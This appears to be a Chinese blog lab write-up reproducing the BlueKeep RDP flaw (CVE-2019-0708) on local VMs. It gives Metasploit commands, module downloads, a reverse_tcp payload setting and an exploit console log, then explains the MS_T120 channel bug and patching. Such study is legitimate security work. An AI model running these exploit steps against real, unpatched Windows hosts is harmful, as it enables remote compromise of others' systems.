CVE20190708复现
一、实验环境
基于虚拟机运行(VMware)
(1)靶机(ip:192.168.8.*):
(2)测试机(192.168.8.#):
(3)将两个虚拟机设置于同一个网段中
a.在虚拟网络编辑器中,将VMnet0采用桥接模式,并桥接到网线网上
b.设置win7为动态获取ip
c.打开/etc/network/interfaces文件,做如下修改,并保存,重启kali
eth0接口会在系统启动时被自动配置,以DHCP方式配置网卡.
d.两台主机互ping
win7
kali
互ping测试(关掉防火墙)
测试可以ping通,现在测试机和靶机在同一网段了。
(3)将靶机的相应端口打开
在防火墙中更改入站设置,同时关闭防火墙,打开3389端口
观察可知,3389端口已打开
二、攻击准备(kali中操作)
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138
攻击:exploit / run
(1)更新kali msf
apt-get update
apt-get install metasploit-framework
(2)下载利用脚本
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
(3)移动到对应的目录
mv rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
mv rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
mv cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
mv cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
将我需要利用的漏洞载入相关的攻击模块中
(注意:/usr/share/metasploit-framework/modules/exploits/windows/下面不一定存在rdp目录,不存在时手动创建)
(4)开始攻击
msfconsole --进入msf
reload_all --重新载入所有的模块
search cve_2019_0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.8.*** --设置靶机ip
set target 3 --3代表目标机器架构为VMware、2代表目标架构是virtulbox
exploit --开始攻击
Kali中的执行过程
aaa@qq.com:~# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***
=[ metasploit v5.0.53-dev ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > reload_all
[*] Reloading modules from all module paths...
=[ metasploit v5.0.53-dev ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > search cve_2019_0708
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce (使用漏洞)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.8.* (设置靶机的ip)
rhosts => 192.168.8.*
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 3
target => 3 (在VMware上攻击)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
[*] Started reverse TCP handler on 192.168.8.#:4444 4444开始反向TCP处理程序
[*] 192.168.8.*:3389 - Detected RDP on 192.168.8.*:3389 ## 在192.168.8.*:3389上检测到RDP (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.8.*:3389 - The target is vulnerable.(可以攻击)
[*] 192.168.8.*:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028600000, Channel count 1.
[*] 192.168.8.*:3389 - Surfing channels ...
[*] 192.168.8.*:3389 - Lobbing eggs ...
[*] 192.168.8.*:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.
攻击效果:
三、原理分析
1.漏洞原理
远程桌面协议(RDP)支持客户端和服务器之间的连接,并且以虚拟信道的形式定义了它们之间通信的数据。虚拟信道是双向数据管道,可以针对RDP实现扩展。 Windows Server 2000使用RDP 5.1定义了32个静态虚拟信道(Static Virtual Channel, SVC),由于信道数量的限制,进一步定义了动态虚拟信道(Dynamic Virtual Channel, DVC),这些信道包含在专用SVC中。 SVC在会话开始时创建并保持到会话终止,而DVC将会根据是否需要确定是否创建和抛弃。
a.如下图所示: RDP连接序列在信道安全属性设置之前就进行了连接和设置,这为CVE-2019-0708的创建和传播提供了条件。
如上图所示,RDP Security Commencement在Channel Connection之后
b.漏洞流量分析: “MS_T120”这个SVC名称在RDP协议的GCC Conference初始化序列时被绑定为数字31的参考信道。此信道名称由Microsoft内部使用,在客户端没有明显的、合法的使用以“MS_T120”命名的SVC来发起请求进行连接的用例,然而,在GCC Conference初始化期间,攻击者可以在31之外的信道上设置另一个名为”MS_T120”的SVC,这种行为将会导致堆内存破坏,最终可以实现远程代码执行。
详细原理可参考一个大佬写的原理:
https://www.codercto.com/a/83475.html
2.漏洞修补
目前受影响Windows版本
Microsoft Windows XP
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2003
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 7 for 32-bit Systems SP1
解决方案
修复建议:
(1)及时安装微软发布的安全更新补丁:
Microsoft官方已经在 2019年5月14日修复了该漏洞,用户可以通过安装微软的安全更新来给系统打上安全补丁,下载地址为:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
同时针对已不受微软更新支持的系统Windows Server 2003和Windows XP提供的安全更新,下载地址:https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708
实验体会:在实验复现的环节你可能会遇到各种的无解问题,在此过程中需要你一步步的耐心摸索,我也是加了很多个班才搞出来的,在实验中,切记要连在同一个网段内,注意攻击模块的更新,以及VM的版本。只要坚持,搞出来是不成问题的!
推荐阅读
-
Joomla SQL注入漏洞(CVE-2018-8045)复现
-
Tensorflow复现DenseNet cifar-10(正确率91%)
-
Windows CVE-2019-0708 远程桌面代码执行漏洞复现
-
2020KDD-CUP阿里天池一篇baseline复现debiasingRush(一)
-
币币世界打破数字货币壁垒,复现全民增值时代
-
网络安全渗透测试反序列化漏洞分析与复现工作
-
Tensorflow复现DenseNet cifar-10(正确率91%)
-
网络安全渗透测试反序列化漏洞分析与复现工作
-
SpringBoot SpEL表达式注入漏洞-分析与复现
-
「漏洞预警」Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现